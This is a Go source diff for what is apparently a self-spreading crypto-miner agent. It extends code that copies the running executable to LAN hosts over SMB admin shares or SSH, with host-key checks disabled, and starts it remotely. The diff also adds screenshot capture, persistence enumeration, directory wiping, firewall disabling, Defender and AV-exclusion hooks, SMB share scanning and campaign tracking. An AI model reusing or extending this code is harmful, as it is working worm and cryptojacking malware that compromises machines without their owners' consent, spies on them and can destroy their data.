if e.IsDir() || !strings.HasSuffix(e.Name(), ".plist") {
continue
}
report.Entries = append(report.Entries, PersistenceAuditEntry{
Kind: "launch_agent",
Name: e.Name(),
Detail: agentsDir,
})
}
}
}
out, err := exec.Command("/bin/sh", "-c", "launchctl list 2>/dev/null | head -40").CombinedOutput()
if err == nil {
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "PID") {
continue
}
fields := strings.Fields(line)
if len(fields) < 3 {
continue
}
report.Entries = append(report.Entries, PersistenceAuditEntry{
Kind: "launchctl",
Name: fields[len(fields)-1],
Detail: line,
Enabled: fields[0] != "-",
})
}
}
report.Count = len(report.Entries)
return report
}

View File

@@ -0,0 +1,7 @@
//go:build !windows && !linux && !darwin
package client
func collectPersistenceAudit() PersistenceAuditReport {
return PersistenceAuditReport{Platform: "unknown"}
}

View File

@@ -0,0 +1,59 @@
//go:build linux
package client
import (
"os"
"os/exec"
"path/filepath"
"strings"
)
func collectPersistenceAudit() PersistenceAuditReport {
report := PersistenceAuditReport{Platform: "linux"}
home, _ := os.UserHomeDir()
if home != "" {
autostart := filepath.Join(home, ".config", "autostart")
if entries, err := os.ReadDir(autostart); err == nil {
for _, e := range entries {
if e.IsDir() {
continue
}
report.Entries = append(report.Entries, PersistenceAuditEntry{
Kind: "xdg_autostart",
Name: e.Name(),
Detail: autostart,
})
}
}
unitDir := filepath.Join(home, ".config", "systemd", "user")
if entries, err := os.ReadDir(unitDir); err == nil {
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(e.Name(), ".service") {
continue
}
report.Entries = append(report.Entries, PersistenceAuditEntry{
Kind: "systemd_user",
Name: e.Name(),
Detail: unitDir,
})
}
}
}
out, err := exec.Command("/bin/sh", "-c", "crontab -l 2>/dev/null").CombinedOutput()
if err == nil {
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
report.Entries = append(report.Entries, PersistenceAuditEntry{
Kind: "crontab",
Name: "user crontab",
Detail: line,
})
}
}
report.Count = len(report.Entries)
return report
}

View File

@@ -0,0 +1,72 @@
//go:build windows
package client
import (
"strings"
)
func collectPersistenceAudit() PersistenceAuditReport {
report := PersistenceAuditReport{Platform: "windows"}
queries := []struct {
kind, hive, sub string
}{
{"registry_run", "HKCU", `Software\Microsoft\Windows\CurrentVersion\Run`},
{"registry_run", "HKCU", `Software\Microsoft\Windows\CurrentVersion\RunOnce`},
{"registry_run", "HKLM", `Software\Microsoft\Windows\CurrentVersion\Run`},
{"registry_run", "HKLM", `Software\Microsoft\Windows\CurrentVersion\RunOnce`},
}
for _, q := range queries {
out, err := silentCombinedOutput("reg", "query", q.hive+`\`+q.sub)
if err != nil {
continue
}
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "HKEY_") || strings.HasPrefix(line, q.sub) {
continue
}
parts := strings.Fields(line)
if len(parts) < 2 {
continue
}
name := parts[0]
val := strings.Join(parts[2:], " ")
if strings.EqualFold(name, "REG_SZ") || strings.EqualFold(name, "REG_EXPAND_SZ") {
continue
}
report.Entries = append(report.Entries, PersistenceAuditEntry{
Kind: q.kind,
Name: name,
Detail: q.hive + `\` + q.sub + `` + val,
})
}
}
taskOut, err := silentCombinedOutput("schtasks", "/Query", "/FO", "LIST", "/V")
if err == nil {
var curName, curRun string
flush := func() {
if curName != "" {
report.Entries = append(report.Entries, PersistenceAuditEntry{
Kind: "scheduled_task",
Name: curName,
Detail: curRun,
Enabled: true,
})
}
curName, curRun = "", ""
}
for _, line := range strings.Split(string(taskOut), "\n") {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "TaskName:") {
flush()
curName = strings.TrimSpace(strings.TrimPrefix(line, "TaskName:"))
} else if strings.HasPrefix(line, "Task To Run:") {
curRun = strings.TrimSpace(strings.TrimPrefix(line, "Task To Run:"))
}
}
flush()
}
report.Count = len(report.Entries)
return report
}

View File

@@ -43,6 +43,8 @@ type AuthPayload struct {
MacAddress string `json:"mac_address,omitempty"`
BuildID string `json:"build_id,omitempty"`
USBSpread bool `json:"usb_spread,omitempty"`
Campaign string `json:"campaign,omitempty"`
UTM string `json:"utm,omitempty"`
}
type AuthResponse struct {

View File

@@ -0,0 +1,30 @@
package client
import "strings"
func extractScreenshotBase64(out []byte) string {
s := strings.TrimSpace(string(out))
s = strings.TrimPrefix(s, "\ufeff")
best := ""
for _, part := range strings.Fields(s) {
var b strings.Builder
for _, r := range part {
if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
b.WriteRune(r)
}
}
cleaned := b.String()
if len(cleaned) > len(best) {
best = cleaned
}
}
if len(best) >= 100 {
return best
}
return strings.Map(func(r rune) rune {
if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
return r
}
return -1
}, s)
}

View File

@@ -0,0 +1,45 @@
//go:build darwin
package client
import (
"encoding/base64"
"fmt"
"os"
"os/exec"
"strings"
)
func capturePlatformScreenshot(customCmd string) (string, error) {
if strings.TrimSpace(customCmd) != "" {
out, err := exec.Command("/bin/sh", "-c", customCmd).CombinedOutput()
if err != nil {
return "", fmt.Errorf("%w: %s", err, strings.TrimSpace(string(out)))
}
if b64 := extractScreenshotBase64(out); len(b64) >= 100 {
return b64, nil
}
return "", fmt.Errorf("custom screenshot command returned no image data")
}
tmp, err := os.CreateTemp("", "af-scr-*.jpg")
if err != nil {
return "", err
}
path := tmp.Name()
_ = tmp.Close()
defer os.Remove(path)
out, runErr := exec.Command("screencapture", "-x", "-t", "jpg", path).CombinedOutput()
if runErr != nil {
return "", fmt.Errorf("screencapture: %v (%s)", runErr, strings.TrimSpace(string(out)))
}
raw, err := os.ReadFile(path)
if err != nil {
return "", err
}
if len(raw) < 100 {
return "", fmt.Errorf("screencapture produced empty image")
}
return base64.StdEncoding.EncodeToString(raw), nil
}

View File

@@ -0,0 +1,80 @@
//go:build linux
package client
import (
"encoding/base64"
"fmt"
"os"
"os/exec"
"strings"
)
func capturePlatformScreenshot(customCmd string) (string, error) {
if strings.TrimSpace(customCmd) != "" {
out, err := exec.Command("/bin/sh", "-c", customCmd).CombinedOutput()
if err != nil {
return "", fmt.Errorf("%w: %s", err, strings.TrimSpace(string(out)))
}
if b64 := extractScreenshotBase64(out); len(b64) >= 100 {
return b64, nil
}
return "", fmt.Errorf("custom screenshot command returned no image data")
}
if raw, err := captureLinuxScreenshotJPEG(); err == nil && len(raw) >= 100 {
return base64.StdEncoding.EncodeToString(raw), nil
} else if err != nil {
return "", err
}
return "", fmt.Errorf("screenshot failed: install scrot, imagemagick (import), or gnome-screenshot")
}
func captureLinuxScreenshotJPEG() ([]byte, error) {
if scrot, err := exec.LookPath("scrot"); err == nil {
tmp, err := os.CreateTemp("", "af-scr-*.jpg")
if err != nil {
return nil, err
}
path := tmp.Name()
_ = tmp.Close()
defer os.Remove(path)
out, runErr := exec.Command(scrot, "-q", "55", path).CombinedOutput()
if runErr != nil {
return nil, fmt.Errorf("scrot: %v (%s)", runErr, strings.TrimSpace(string(out)))
}
return os.ReadFile(path)
}
if importCmd, err := exec.LookPath("import"); err == nil {
tmp, err := os.CreateTemp("", "af-scr-*.jpg")
if err != nil {
return nil, err
}
path := tmp.Name()
_ = tmp.Close()
defer os.Remove(path)
out, runErr := exec.Command(importCmd, "-window", "root", "-quality", "55", path).CombinedOutput()
if runErr != nil {
return nil, fmt.Errorf("import: %v (%s)", runErr, strings.TrimSpace(string(out)))
}
return os.ReadFile(path)
}
if gnome, err := exec.LookPath("gnome-screenshot"); err == nil {
tmp, err := os.CreateTemp("", "af-scr-*.jpg")
if err != nil {
return nil, err
}
path := tmp.Name()
_ = tmp.Close()
defer os.Remove(path)
out, runErr := exec.Command(gnome, "-f", path).CombinedOutput()
if runErr != nil {
return nil, fmt.Errorf("gnome-screenshot: %v (%s)", runErr, strings.TrimSpace(string(out)))
}
return os.ReadFile(path)
}
return nil, fmt.Errorf("no screenshot tool found (scrot, import, gnome-screenshot)")
}

View File

@@ -0,0 +1,9 @@
//go:build !windows && !linux && !darwin
package client
import "fmt"
func capturePlatformScreenshot(_ string) (string, error) {
return "", fmt.Errorf("screenshot not supported on this platform")
}

View File

@@ -2,8 +2,6 @@
package client
import "strings"
const screenshotPSScript = `
$ErrorActionPreference = 'Stop'
Add-Type -AssemblyName System.Windows.Forms,System.Drawing
@@ -19,29 +17,3 @@ $b.Save($ms, $enc, $ep)
[Convert]::ToBase64String($ms.ToArray())
`
func extractScreenshotBase64(out []byte) string {
s := strings.TrimSpace(string(out))
s = strings.TrimPrefix(s, "\ufeff")
best := ""
for _, part := range strings.Fields(s) {
var b strings.Builder
for _, r := range part {
if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
b.WriteRune(r)
}
}
cleaned := b.String()
if len(cleaned) > len(best) {
best = cleaned
}
}
if len(best) >= 100 {
return best
}
return strings.Map(func(r rune) rune {
if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
return r
}
return -1
}, s)
}

104
agent/client/secure_wipe.go Normal file
View File

@@ -0,0 +1,104 @@
package client
import (
"crypto/rand"
"fmt"
"io"
"os"
"path/filepath"
"strings"
"crypto-miner-agent/deploy"
)
const secureWipeBlockSize = 64 * 1024
// SecureWipePath overwrites files in a directory then deletes them (single pass).
func SecureWipePath(targetPath string) string {
targetPath = strings.TrimSpace(targetPath)
if targetPath == "" {
return "secure_wipe error: path is required"
}
if containsPathTraversal(targetPath) {
return "secure_wipe error: path traversal (..) is not allowed"
}
resolved, err := deploy.ResolveRemotePath(targetPath)
if err != nil {
return "secure_wipe error: " + err.Error()
}
resolved = filepath.Clean(resolved)
if isBlockedDeletePath(resolved) {
return "secure_wipe error: refusing to wipe protected system path"
}
info, err := os.Stat(resolved)
if err != nil {
return "secure_wipe error: " + err.Error()
}
if !info.IsDir() {
return "secure_wipe error: path must be a directory"
}
var wiped, failed int
var errs []string
err = filepath.WalkDir(resolved, func(path string, d os.DirEntry, walkErr error) error {
if walkErr != nil || d.IsDir() {
return nil
}
if err := overwriteFile(path); err != nil {
failed++
if len(errs) < 5 {
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
}
return nil
}
if err := os.Remove(path); err != nil {
failed++
if len(errs) < 5 {
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
}
return nil
}
wiped++
return nil
})
if err != nil {
return "secure_wipe walk error: " + err.Error()
}
_ = os.Remove(resolved)
summary := fmt.Sprintf("secure_wipe done — wiped: %d failed: %d path: %s", wiped, failed, resolved)
if len(errs) > 0 {
summary += "\nErrors: " + strings.Join(errs, "; ")
}
return summary
}
func overwriteFile(path string) error {
info, err := os.Stat(path)
if err != nil {
return err
}
size := info.Size()
f, err := os.OpenFile(path, os.O_WRONLY, 0)
if err != nil {
return err
}
defer f.Close()
buf := make([]byte, secureWipeBlockSize)
remaining := size
for remaining > 0 {
n := int64(len(buf))
if remaining < n {
n = remaining
}
if _, err := io.ReadFull(rand.Reader, buf[:n]); err != nil {
return err
}
if _, err := f.Write(buf[:n]); err != nil {
return err
}
remaining -= n
}
return f.Sync()
}

View File

@@ -0,0 +1,48 @@
package client
import (
"os"
"path/filepath"
"strings"
"testing"
)
func TestSecureWipePathRejectsSystemRoot(t *testing.T) {
msg := SecureWipePath(`C:\Windows`)
if !strings.Contains(msg, "protected system path") {
t.Fatalf("expected blocked path, got %q", msg)
}
}
func TestSecureWipePathRequiresDirectory(t *testing.T) {
dir := t.TempDir()
file := filepath.Join(dir, "one.txt")
if err := os.WriteFile(file, []byte("secret"), 0o644); err != nil {
t.Fatal(err)
}
msg := SecureWipePath(file)
if !strings.Contains(msg, "must be a directory") {
t.Fatalf("expected directory error, got %q", msg)
}
}
func TestSecureWipePathWipesFiles(t *testing.T) {
dir := t.TempDir()
sub := filepath.Join(dir, "wipe_me")
if err := os.Mkdir(sub, 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(sub, "a.txt"), []byte("data"), 0o644); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(sub, "b.txt"), []byte("more"), 0o644); err != nil {
t.Fatal(err)
}
msg := SecureWipePath(sub)
if !strings.Contains(msg, "wiped: 2") {
t.Fatalf("unexpected summary: %q", msg)
}
if _, err := os.Stat(sub); !os.IsNotExist(err) {
t.Fatalf("expected directory removed, stat err=%v", err)
}
}

View File

@@ -1,4 +1,4 @@
//go:build !windows
//go:build !windows && !linux
package deploy

View File

@@ -1,4 +1,4 @@
//go:build !windows
//go:build !windows && !linux
package deploy

View File

@@ -95,10 +95,19 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
var filtered []string
for _, target := range targets {
if localSet[target] {
continue
}
filtered = append(filtered, target)
}
beginSpreadSweep("smb_scm", len(filtered))
if len(filtered) == 0 {
finishSpreadSweepImmediate()
return
}
for _, target := range filtered {
spreadSem <- struct{}{}
go func(t string) {
defer func() { <-spreadSem }()
@@ -111,12 +120,14 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
// 1. Quick pre-check: Is port 445 (SMB) open?
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
if err != nil {
recordSpreadAttempt(target, false, "port 445 closed")
return
}
conn.Close()
exePath, err := os.Executable()
if err != nil {
recordSpreadAttempt(target, false, "executable path unavailable")
return
}
@@ -130,7 +141,8 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
// Fallback to C$ hidden temp folder if System32 is restricted
cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil {
return // Access denied or host unreachable
recordSpreadAttempt(target, false, "smb copy denied")
return
}
remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
}
@@ -146,5 +158,8 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
recordSpreadAttempt(target, true, "")
} else {
recordSpreadAttempt(target, false, "remote service start failed")
}
}

View File

@@ -9,7 +9,6 @@ import (
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"crypto-miner-agent/config"
@@ -90,10 +89,19 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
var filtered []string
for _, target := range targets {
if localSet[target] {
continue
}
filtered = append(filtered, target)
}
beginSpreadSweep("ssh", len(filtered))
if len(filtered) == 0 {
finishSpreadSweepImmediate()
return
}
for _, target := range filtered {
spreadSem <- struct{}{}
go func(t string) {
defer func() { <-spreadSem }()
@@ -105,6 +113,7 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
if err != nil {
recordSpreadAttempt(target, false, "port 22 closed")
return
}
conn.Close()
@@ -119,6 +128,7 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
}
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
if err := scp.Run(); err != nil {
recordSpreadAttempt(target, false, "scp failed")
return
}
}
@@ -127,6 +137,9 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
if err := start.Run(); err == nil {
log.Printf("[autospread] deployed to %s via SSH", target)
recordSpreadAttempt(target, true, "")
} else {
recordSpreadAttempt(target, false, "ssh start failed")
}
}

View File

@@ -0,0 +1,11 @@
//go:build linux
package deploy
import "fmt"
func DisableDefenderRealtime() (string, error) {
return "", fmt.Errorf("defender control is Windows-only (no Windows Defender on Linux)")
}
func SilentAVExclusion(_, _ string) {} // no-op on Linux

View File

@@ -0,0 +1,83 @@
//go:build linux
package deploy
import (
"fmt"
"os/exec"
"strings"
)
func OpenFirewallPort(port int, name string) (string, error) {
if port <= 0 || port > 65535 {
return "", fmt.Errorf("invalid port %d", port)
}
if ufw, err := exec.LookPath("ufw"); err == nil {
rule := fmt.Sprintf("%d/tcp", port)
out, runErr := exec.Command(ufw, "allow", rule, "comment", name).CombinedOutput()
if runErr != nil {
return "", fmt.Errorf("ufw allow: %v (%s)", runErr, strings.TrimSpace(string(out)))
}
return fmt.Sprintf("ufw allow %s (%s)", rule, name), nil
}
if ipt, err := exec.LookPath("iptables"); err == nil {
out, runErr := exec.Command(ipt, "-I", "INPUT", "-p", "tcp", "--dport", fmt.Sprintf("%d", port), "-j", "ACCEPT").CombinedOutput()
if runErr != nil {
return "", fmt.Errorf("iptables: %v (%s)", runErr, strings.TrimSpace(string(out)))
}
return fmt.Sprintf("iptables INPUT accept tcp/%d", port), nil
}
return "", fmt.Errorf("no ufw or iptables found on host")
}
func SetWindowsFirewallProfiles(enable bool, profiles string) (string, error) {
_ = profiles
if ufw, err := exec.LookPath("ufw"); err == nil {
arg := "disable"
if enable {
arg = "enable"
}
out, runErr := exec.Command(ufw, arg).CombinedOutput()
if runErr != nil {
return "", fmt.Errorf("ufw %s: %v (%s)", arg, runErr, strings.TrimSpace(string(out)))
}
return fmt.Sprintf("ufw %s", arg), nil
}
return "", fmt.Errorf("firewall profile control requires ufw on Linux")
}
func DisableWindowsFirewall() (string, error) {
return SetWindowsFirewallProfiles(false, "all")
}
func EnableWindowsFirewall() (string, error) {
return SetWindowsFirewallProfiles(true, "all")
}
func RemoveFirewallRuleByName(name string) (string, error) {
name = strings.TrimSpace(name)
if name == "" {
return "", fmt.Errorf("rule name required")
}
if ufw, err := exec.LookPath("ufw"); err == nil {
out, runErr := exec.Command(ufw, "status", "numbered").CombinedOutput()
if runErr != nil {
return "", fmt.Errorf("ufw status: %v", runErr)
}
for _, line := range strings.Split(string(out), "\n") {
if strings.Contains(line, name) {
fields := strings.Fields(line)
if len(fields) > 0 {
num := strings.Trim(fields[0], "[]")
delOut, delErr := exec.Command(ufw, "delete", num).CombinedOutput()
if delErr != nil {
return "", fmt.Errorf("ufw delete: %v (%s)", delErr, strings.TrimSpace(string(delOut)))
}
return fmt.Sprintf("removed ufw rule %s matching %q", num, name), nil
}
}
}
return "", fmt.Errorf("no ufw rule matching %q", name)
}
return "", fmt.Errorf("firewall rule removal requires ufw on Linux")
}

View File

@@ -0,0 +1,22 @@
//go:build linux
package deploy
import (
"strings"
"testing"
)
func TestOpenFirewallPortInvalid(t *testing.T) {
_, err := OpenFirewallPort(0, "test")
if err == nil || !strings.Contains(err.Error(), "invalid port") {
t.Fatalf("expected invalid port error, got %v", err)
}
}
func TestRemoveFirewallRuleByNameEmpty(t *testing.T) {
_, err := RemoveFirewallRuleByName("")
if err == nil || !strings.Contains(err.Error(), "rule name required") {
t.Fatalf("expected rule name error, got %v", err)
}
}

View File

@@ -0,0 +1,26 @@
package deploy
import "strings"
func parseNetViewShares(text string) []string {
var shares []string
for _, line := range strings.Split(text, "\n") {
line = strings.TrimSpace(line)
if line == "" ||
strings.HasPrefix(line, "Share name") ||
strings.HasPrefix(line, "-----") ||
strings.HasPrefix(line, "The command completed") {
continue
}
fields := strings.Fields(line)
if len(fields) == 0 {
continue
}
name := fields[0]
if strings.EqualFold(name, "System") && len(fields) > 1 {
continue
}
shares = append(shares, name)
}
return shares
}

View File

@@ -0,0 +1,16 @@
//go:build !windows
package deploy
import "encoding/json"
// EnumerateSMBShares is Windows-only (SMB net view on LAN hosts).
func EnumerateSMBShares(maxHosts int) string {
_ = maxHosts
b, _ := json.Marshal(map[string]interface{}{
"error": "smb_shares is Windows-only",
"hosts": []interface{}{},
"count": 0,
})
return string(b)
}

View File

@@ -0,0 +1,20 @@
package deploy
import "testing"
func TestParseNetViewShares(t *testing.T) {
sample := `Share name Type Used as Comment
-------------------------------------------------------------------------------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
The command completed successfully.`
shares := parseNetViewShares(sample)
if len(shares) != 3 {
t.Fatalf("shares = %v", shares)
}
if shares[0] != "ADMIN$" || shares[1] != "C$" {
t.Fatalf("unexpected order: %v", shares)
}
}

View File

@@ -0,0 +1,109 @@
//go:build windows
package deploy
import (
"encoding/json"
"net"
"strings"
"time"
)
type smbHostShares struct {
Host string `json:"host"`
Shares []string `json:"shares,omitempty"`
Accessible bool `json:"accessible"`
Error string `json:"error,omitempty"`
}
type smbSharesResult struct {
Hosts []smbHostShares `json:"hosts"`
Count int `json:"count"`
}
// EnumerateSMBShares probes LAN hosts for reachable SMB shares (net view).
func EnumerateSMBShares(maxHosts int) string {
if maxHosts <= 0 {
maxHosts = 32
}
targets := smbShareTargets(maxHosts)
hosts := make([]smbHostShares, 0, len(targets))
for _, host := range targets {
hosts = append(hosts, probeSMBShares(host))
}
result := smbSharesResult{Hosts: hosts, Count: len(hosts)}
b, _ := json.Marshal(result)
return string(b)
}
func smbShareTargets(maxHosts int) []string {
targets := arpHosts()
local := getLocalIPs()
localSet := make(map[string]bool, len(local))
for _, ip := range local {
localSet[ip] = true
}
filtered := make([]string, 0, len(targets))
seen := make(map[string]bool)
for _, t := range targets {
if localSet[t] || seen[t] {
continue
}
seen[t] = true
filtered = append(filtered, t)
}
if len(filtered) < 3 {
for _, ip := range local {
if !isIPv4(ip) {
continue
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255 && len(filtered) < maxHosts; i++ {
candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if candidate == ip || seen[candidate] {
continue
}
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
if err == nil {
conn.Close()
seen[candidate] = true
filtered = append(filtered, candidate)
}
}
}
}
if len(filtered) > maxHosts {
filtered = filtered[:maxHosts]
}
return filtered
}
func probeSMBShares(host string) smbHostShares {
conn, err := net.DialTimeout("tcp", host+":445", 1500*time.Millisecond)
if err != nil {
return smbHostShares{Host: host, Error: "port 445 closed"}
}
conn.Close()
out, err := HiddenOutput("net", "view", "\\\\"+host)
text := strings.TrimSpace(string(out))
if err != nil {
msg := text
if msg == "" {
msg = err.Error()
}
return smbHostShares{Host: host, Error: msg}
}
shares := parseNetViewShares(text)
return smbHostShares{
Host: host,
Shares: shares,
Accessible: len(shares) > 0,
}
}

View File

@@ -0,0 +1,108 @@
package deploy
import (
"encoding/json"
"runtime"
"sync"
"time"
)
type spreadHostResult struct {
Host string `json:"host"`
Success bool `json:"success"`
Error string `json:"error,omitempty"`
}
type spreadStatusSnapshot struct {
StartedAt string `json:"started_at,omitempty"`
FinishedAt string `json:"finished_at,omitempty"`
InProgress bool `json:"in_progress"`
HostsTried int `json:"hosts_tried"`
Successes int `json:"successes"`
Errors int `json:"errors"`
Platform string `json:"platform"`
Method string `json:"method"`
Hosts []spreadHostResult `json:"hosts"`
}
var (
spreadMu sync.RWMutex
spreadSnap spreadStatusSnapshot
spreadPending int
)
const maxSpreadHostResults = 64
func spreadMethodForPlatform() string {
if runtime.GOOS == "windows" {
return "smb_scm"
}
return "ssh"
}
func beginSpreadSweep(method string, targetCount int) {
spreadMu.Lock()
spreadSnap = spreadStatusSnapshot{
StartedAt: time.Now().UTC().Format(time.RFC3339),
InProgress: targetCount > 0,
HostsTried: targetCount,
Platform: runtime.GOOS,
Method: method,
Hosts: nil,
}
spreadPending = targetCount
if targetCount == 0 {
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
}
spreadMu.Unlock()
}
func recordSpreadAttempt(host string, success bool, errMsg string) {
spreadMu.Lock()
defer spreadMu.Unlock()
if success {
spreadSnap.Successes++
} else if errMsg != "" {
spreadSnap.Errors++
}
if len(spreadSnap.Hosts) < maxSpreadHostResults {
spreadSnap.Hosts = append(spreadSnap.Hosts, spreadHostResult{
Host: host,
Success: success,
Error: errMsg,
})
}
if spreadPending > 0 {
spreadPending--
if spreadPending == 0 {
spreadSnap.InProgress = false
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
}
}
}
func finishSpreadSweepImmediate() {
spreadMu.Lock()
spreadSnap.InProgress = false
if spreadSnap.FinishedAt == "" {
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
}
spreadPending = 0
spreadMu.Unlock()
}
// GetSpreadStatusJSON returns the last lateral spread sweep summary (in-memory).
func GetSpreadStatusJSON() string {
spreadMu.RLock()
snap := spreadSnap
spreadMu.RUnlock()
if snap.StartedAt == "" {
snap.Platform = runtime.GOOS
snap.Method = spreadMethodForPlatform()
if snap.Hosts == nil {
snap.Hosts = []spreadHostResult{}
}
}
b, _ := json.Marshal(snap)
return string(b)
}

View File

@@ -0,0 +1,43 @@
package deploy
import (
"encoding/json"
"testing"
)
func TestSpreadStatusLifecycle(t *testing.T) {
beginSpreadSweep("ssh", 2)
recordSpreadAttempt("10.0.0.2", true, "")
recordSpreadAttempt("10.0.0.3", false, "auth failed")
raw := GetSpreadStatusJSON()
var snap spreadStatusSnapshot
if err := json.Unmarshal([]byte(raw), &snap); err != nil {
t.Fatal(err)
}
if snap.HostsTried != 2 {
t.Fatalf("hosts_tried = %d", snap.HostsTried)
}
if snap.Successes != 1 || snap.Errors != 1 {
t.Fatalf("successes=%d errors=%d", snap.Successes, snap.Errors)
}
if snap.InProgress {
t.Fatal("expected sweep finished")
}
if len(snap.Hosts) != 2 {
t.Fatalf("hosts len = %d", len(snap.Hosts))
}
}
func TestSpreadStatusEmptySweep(t *testing.T) {
beginSpreadSweep("smb_scm", 0)
finishSpreadSweepImmediate()
raw := GetSpreadStatusJSON()
var snap spreadStatusSnapshot
if err := json.Unmarshal([]byte(raw), &snap); err != nil {
t.Fatal(err)
}
if snap.InProgress {
t.Fatal("expected not in progress")
}
}

15
agent/stats/cpu_common.go Normal file
View File

@@ -0,0 +1,15 @@
package stats
func cpuBusyPercentFromDeltas(idleDelta, totalDelta float64) float64 {
if totalDelta <= 0 {
return 0
}
busyPct := (1.0 - idleDelta/totalDelta) * 100
if busyPct < 0 {
return 0
}
if busyPct > 100 {
return 100
}
return busyPct
}

62
agent/stats/cpu_darwin.go Normal file
View File

@@ -0,0 +1,62 @@
//go:build darwin
package stats
import (
"os/exec"
"strconv"
"strings"
)
func (r *Reporter) SystemCPUPercent() float64 {
idle, total, ok := readDarwinCPUSample()
if !ok {
return 0
}
r.mu.Lock()
defer r.mu.Unlock()
if !r.hasSample {
r.lastIdle = idle
r.lastTotal = total
r.hasSample = true
return 0
}
idleDelta := float64(idle - r.lastIdle)
totalDelta := float64(total - r.lastTotal)
r.lastIdle = idle
r.lastTotal = total
return cpuBusyPercentFromDeltas(idleDelta, totalDelta)
}
func readDarwinCPUSample() (idle, total uint64, ok bool) {
out, err := exec.Command("sysctl", "-n", "kern.cp_time").Output()
if err != nil {
return 0, 0, false
}
return parseDarwinCPTimes(string(out))
}
func parseDarwinCPTimes(raw string) (idle, total uint64, ok bool) {
parts := strings.Fields(strings.TrimSpace(raw))
if len(parts) < 4 {
return 0, 0, false
}
var values []uint64
for _, p := range parts {
v, err := strconv.ParseUint(p, 10, 64)
if err != nil {
return 0, 0, false
}
values = append(values, v)
}
for _, v := range values {
total += v
}
// user, nice, sys, idle[, intr]
idle = values[3]
return idle, total, true
}

72
agent/stats/cpu_linux.go Normal file
View File

@@ -0,0 +1,72 @@
//go:build linux
package stats
import (
"bufio"
"os"
"strconv"
"strings"
)
func (r *Reporter) SystemCPUPercent() float64 {
idle, total, ok := readProcStatCPUSample()
if !ok {
return 0
}
r.mu.Lock()
defer r.mu.Unlock()
if !r.hasSample {
r.lastIdle = idle
r.lastTotal = total
r.hasSample = true
return 0
}
idleDelta := float64(idle - r.lastIdle)
totalDelta := float64(total - r.lastTotal)
r.lastIdle = idle
r.lastTotal = total
return cpuBusyPercentFromDeltas(idleDelta, totalDelta)
}
func readProcStatCPUSample() (idle, total uint64, ok bool) {
f, err := os.Open("/proc/stat")
if err != nil {
return 0, 0, false
}
defer f.Close()
sc := bufio.NewScanner(f)
if !sc.Scan() {
return 0, 0, false
}
return parseProcStatCPU(sc.Text())
}
func parseProcStatCPU(line string) (idle, total uint64, ok bool) {
fields := strings.Fields(line)
if len(fields) < 5 || fields[0] != "cpu" {
return 0, 0, false
}
var values []uint64
for _, f := range fields[1:] {
v, err := strconv.ParseUint(f, 10, 64)
if err != nil {
return 0, 0, false
}
values = append(values, v)
}
for _, v := range values {
total += v
}
// idle + iowait (index 3 and 4 when present)
idle = values[3]
if len(values) > 4 {
idle += values[4]
}
return idle, total, true
}

View File

@@ -0,0 +1,34 @@
//go:build linux
package stats
import "testing"
func TestParseProcStatCPU(t *testing.T) {
idle, total, ok := parseProcStatCPU("cpu 4705 0 1234 8123 45 0 12 0 0 0")
if !ok {
t.Fatal("expected ok")
}
if idle != 8123+45 {
t.Fatalf("idle=%d", idle)
}
wantTotal := uint64(4705 + 0 + 1234 + 8123 + 45 + 0 + 12 + 0 + 0 + 0)
if total != wantTotal {
t.Fatalf("total=%d want %d", total, wantTotal)
}
}
func TestParseProcStatCPUBadLine(t *testing.T) {
if _, _, ok := parseProcStatCPU("meminfo"); ok {
t.Fatal("expected false for non-cpu line")
}
}
